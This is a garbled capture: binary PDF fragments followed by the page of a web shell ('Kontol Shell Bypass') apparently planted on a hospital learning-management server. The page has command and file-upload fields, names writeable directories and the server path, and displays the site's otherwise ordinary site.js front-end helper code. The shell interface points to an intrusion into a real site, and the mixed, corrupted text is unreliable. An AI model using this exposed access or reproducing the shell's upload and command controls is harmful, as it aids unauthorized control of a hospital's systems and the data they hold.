%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/js/site.js
function playNotiSound() {
    try {
        $(".notisound")[0].currentTime = 0;
        $(".notisound")[0].muted = false;
        $(".notisound")[0].crossOrigin = 'anonymous';
        $(".notisound")[0].play();
    } catch (e) {
        console.log("sound error", e);
    }
}
function pauseNotiSound() {
    $(".notisound")[0].pause();
}

function getUrlParameter(name) {
    name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
    var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
    var results = regex.exec(location.search);
    return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
}

function allChk(parentSelector) {
    $(parentSelector).find(".allChk, .chk").prop('checked', $(parentSelector).find(".allChk").prop("checked"));
}
function chk(parentSelector) {
    $(parentSelector).find(".allChk").prop('checked', $(parentSelector).find(".chk:checked").length == $(parentSelector).find(".chk").length);
}

function label_percent(per) {
    var label = 'danger';
    per = parseInt(per);
    if (per <= 25) {
        label = 'danger';
    } else if (per > 25 && per <= 50) {
        label = 'warning';
    } else if (per > 50 && per <= 75) {
        label = 'info';
    } else {
        label = 'success';
    }
    return label;
}

function months() {
    var ob = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
    return ob;
}

function copyToClipboard(ob) {
    var obj = $(ob).closest('div').find('input')[0];
    obj.select();
    document.execCommand("copy");
}

function strCopyToClipboard(str) {
    const el = document.createElement('textarea');
    el.value = str;
    el.setAttribute('readonly', '');
    el.style.position = 'absolute';
    el.style.left = '-9999px';
    document.body.appendChild(el);
    el.select();
    document.execCommand('copy');
    document.body.removeChild(el);
}

convertToCSVBlob = (objArray, header) => {
    var array = typeof objArray != 'object' ? JSON.parse(objArray) : objArray;
    var str = '', line = '', index;
    for (index in header) {
        if (line !== '') line += ',';
        line += header[index];
    }
    str += line + '\r\n';

    for (var i = 0; i < array.length; i++) {
        line = '';
        for (index in header) {
            if (line !== '') line += ',';
            line += (!(array[i][index] + '') ? ' ' : ('\"' + array[i][index] + '\"'));
        }
        str += line + '\r\n';
    }

    return new Blob([str], { type: "text/csv;charset=utf-8" });
}

function downloadCsvFromBlob(blob, filename) {
    if (window.navigator.msSaveOrOpenBlob) {
        window.navigator.msSaveBlob(blob, filename + ".csv");
    }
    else {
        var a = window.document.createElement("a");
        a.href = window.URL.createObjectURL(blob, {
            type: "text/plain"
        });
        a.download = filename + ".csv";
        document.body.appendChild(a);
        a.click();
        document.body.removeChild(a);
    }
}

function init_adv_daterange_picker(ob, obdate1, obdate2, openat) {
    if (!jQuery().daterangepicker) {
        return;
    }

    ob.daterangepicker({
        "ranges": {
            'Today': [moment(), moment()],
            'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
            'Last 7 Days': [moment().subtract(6, 'days'), moment()],
            'Last 30 Days': [moment().subtract(29, 'days'), moment()],
            'Last Week': [moment().subtract(1, 'weeks').startOf('isoWeek'), moment().subtract(1, 'weeks').endOf('isoWeek')],
            'This Week': [moment().subtract(0, 'weeks').startOf('isoWeek'), moment().subtract(0, 'weeks').endOf('isoWeek')],
            'This Month': [moment().startOf('month'), moment().endOf('month')],
            'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')],
            'This Year': [moment().startOf('year'), moment().endOf('year')],
            'Last Year': [moment().startOf('year').subtract(1, 'years'), moment().endOf('year').subtract(1, 'years')],
        },
        "locale": {
            "format": "DD MMM YYYY",
            "separator": " - ",
            "applyLabel": "Apply",
            "cancelLabel": "Cancel",
            "fromLabel": "From",
            "toLabel": "To",
            "customRangeLabel": "Custom Range",
            "firstDay": 1
        },
        "startDate": calsdt, //moment().startOf('year'),
        "endDate": caledt, //moment().endOf('year'),
        showDropdowns: true,
        minDate: '01 Jan 2010',
        maxDate: '31 Dec 2030',
        opens: openat ? openat : 'left',
    }, function (start, end, label) {
        if (ob.attr('data-display-range') != '0') {
            var sd = start.format('DD MMM YYYY');
            var ed = end.format('DD MMM YYYY');
            ob.find('span').html(sd + ' - ' + ed);
            if (obdate1) {
                obdate1.val(sd);
            }
            if (obdate2) {
                obdate2.val(ed);
            }
        }
    });

    if (ob.attr('data-display-range') != '0') {
        var sd = moment(calsdt).format('DD MMM YYYY'); //moment().startOf('year').format('DD MMM YYYY');
        var ed = moment(caledt).format('DD MMM YYYY'); //moment().endOf('year').format('DD MMM YYYY');
        ob.find('span').html(sd + ' - ' + ed);
        if (obdate1) {
            obdate1.val(sd);
        }
        if (obdate2) {
            obdate2.val(ed);
        }
    }
}

function print_iframe(ob) {
    var print_url = $(ob).attr('printurl');
    $("#iframe_print").attr('src', print_url);
}

function open_confirm_bootbox(title, message, callback, callback_arg) {
    bootbox.confirm({
        title: title,
        message: message,
        animate: false,
        buttons: {
            'cancel': { label: 'No' },
            'confirm': { label: 'Yes' }
        },
        callback: function (res) {
            if (res == true) {
                if (callback) {
                    if (callback_arg) {
                        callback(callback_arg);
                    } else {
                        callback();
                    }
                }
            }
        }
    });
}

function bootbox_alert(title, message, callback, callback_arg) {
    bootbox.alert({
        //size: "small",
        title: title,
        message: message,
        animate: false,
        callback: function () {
            if (callback) {
                if (callback_arg) {
                    callback(callback_arg);
                } else {
                    callback();
                }
            }
        }
    })
}

function use_temp_tag(ob, is_tinymce) {
    var tag = $.trim($(ob).text());
    if (is_tinymce) {
        //tinymce.activeEditor.execCommand('mceInsertContent', false, tag);
        tinymce.EditorManager.get(is_tinymce).execCommand('mceInsertContent', false, tag);
        return;
    }

    var obj = $(ob).closest('.form-group').find('.taginpt')[0];
    var txtarea = obj;
    var start = txtarea.selectionStart;
    var end = txtarea.selectionEnd;
    var sel = txtarea.value.substring(start, end);
    var finText = txtarea.value.substring(0, start) + tag + txtarea.value.substring(end);
    txtarea.value = finText;

    txtarea.focus({ preventScroll: true });
    txtarea.selectionEnd = start + tag.length;

    angular.element(obj).triggerHandler('input');
}

function create_bar_chart_steps_count(elm_id, data, pref, color) {
    var cdata = {
        "theme": "light",
        "type": "serial",
        "marginRight": 50,
        "startDuration": 0.5,
        //"depth3D": 10, 
        //"angle": 20, 
        "graphs": [{
            "balloonText": "[[category]]: <b>[[value]]</b>",
            "fillColorsField": "color",
            "fillAlphas": 1,
            "lineAlpha": 0.1,
            "type": "column",
            "valueField": "c",
            "colorField": "#B0DE09",
        }],
        "chartCursor": {
            "categoryBalloonEnabled": false,
            "cursorAlpha": 0,
            "zoomable": false
        },
        "categoryField": "step",
        "categoryAxis": {
            "gridPosition": "start",
            //"labelRotation": 90
        },
        "titles": [{
            "size": 15,
            "text": "Total: " + data[pref + 'total']
        }],
        "export": {
            "enabled": true,
            "divId": elm_id + "_export"
        }
    };

    var chartdata = data[pref + 'steps'];
    chartdata.forEach(function (v, k) {
        chartdata[k]['color'] = color;
    });

    cdata.dataProvider = chartdata;
    var chart = AmCharts.makeChart(elm_id, cdata);
}

function sendFirebaseNotification(noti_id) {
    if (!noti_id) {
        return;
    }
    /* $.ajax({
        url:API_URL+'common/sendLeadNotiEmail',
        type:'POST',
        data:{noti_id},
        success:function(res){
        }
    }); */

    fbaseOb.sendMsg(fbaseOb.refName, { noti_id });
}

function showNotiAlert(msg) {
    $.notify(msg, { clickToHide: true, arrowShow: true, arrowSize: 15, autoHide: false, className: 'info' });

    /* $(".noti-alert-bx").remove();
    let a=`<div class="alert alert-warning noti-alert-bx">
        <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
        ${msg}
    </div>`;
    $("body").prepend(a); */
}

function onNewNotification() {
    let fbaseFlg = 0;
    fbaseOb.onNewMsg(fbaseOb.refName, (msgs) => {
        if (!fbaseFlg) {
            fbaseFlg = 1;
            return;
        }

        if (msgs.length) {
            let noti_id = msgs[0].noti_id;
            $.ajax({
                url: API_URL + 'common/isThisNotificationForYou',
                type: 'POST',
                data: { noti_id },
                success: function (res) {
                    if (res.success) {
                        playNotiSound();
                        showNotiAlert(res.msg);
                        angular.element($(".navbar-fixed-top")[0]).scope().increaseNotiCount();
                        //angular.element($(".page-sidebar-wrapper")[0]).scope().increaseNotiCount();
                    }
                }
            });
        }
    });
}

function setCookie(cname, cvalue, exdays) {
    var d = new Date();
    d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
    var expires = "expires=" + d.toUTCString();
    document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}

function getCookie(cname) {
    var name = cname + "=";
    var decodedCookie = decodeURIComponent(document.cookie);
    var ca = decodedCookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') {
            c = c.substring(1);
        }
        if (c.indexOf(name) == 0) {
            return c.substring(name.length, c.length);
        }
    }
    return "";
}

function deleteCookie(name) {
    document.cookie = name + '=; Path=/; Expires=Thu, 01 Jan 1970 00:00:01 GMT;';
}

function createColumnChart(elm_id, data, heading, valueLbl, color, rotate, graphs) {
    let graph = {
        "balloonText": "[[category]]: <b>[[value]]</b>",
        "fillColorsField": "color",
        "fillAlphas": 1,
        "lineAlpha": 0.1,
    };

    let graphsData = [];

    if (graphs) {
        graphsData = JSON.parse(JSON.stringify(graphs));
        graphsData.forEach(v => {
            v.type = v.type || "column";
            v.balloonText = v.title + ": <b>[[value]]</b>";
            v.fillColorsField = v.colorField || graph.fillColorsField;
            v.fillAlphas = graph.fillAlphas;
            v.lineAlpha = graph.lineAlpha;
            //v.valueField=v.valueField;
        });
    } else {
        graph.type = "column";
        graph.valueField = "c";
        graphsData = [graph];
    }

    var cdata = {
        "theme": "light",
        "type": "serial",
        "marginRight": 50,
        "startDuration": 0.5,
        "graphs": graphsData,
        "chartCursor": {
            "categoryBalloonEnabled": false,
            "cursorAlpha": 0,
            "zoomable": false
        },
        "categoryField": "lbl",
        "categoryAxis": {
            "gridPosition": "start",
            "labelRotation": rotate || 0
        },
        "titles": [{
            "size": 15,
            "text": heading
        }],
        "export": {
            "enabled": true,
            "divId": elm_id + "_export"
        }
    };

    if (color) {
        data.forEach(function (v, k) {
            data[k]['color'] = color;
        });
    }

    cdata.dataProvider = data;
    var chart = AmCharts.makeChart(elm_id, cdata);
}

/** Events **/
$(function () {
    $(".alert").delay(4000).fadeOut();

    /** Initialization **/
    //set_datepicker();
    //set_page_links();
    //set_numeric_input();
    //set_tab_box();
    //set_confirm_link();

    $("body").on('click', '.sort-icons i', function () {
        var tr = $(this).closest('tr');
        tr.find('i').removeClass('dim');
        $(this).addClass('dim');
    });

    $("body").on('click', '.big-over-bx-close', function () {
        var el = $(this).closest('.big-over-bx');
        el.hide();
    });

    $(document).on('show.bs.modal', '.modal', function () {
        var zIndex = 10050 + (10 * $('.modal:visible').length);
        $(this).css('z-index', zIndex);
        setTimeout(function () {
            $('.modal-backdrop').not('.modal-stack').css('z-index', zIndex - 1).addClass('modal-stack');
        }, 0);
    });
});


//EOF

Kontol Shell Bypass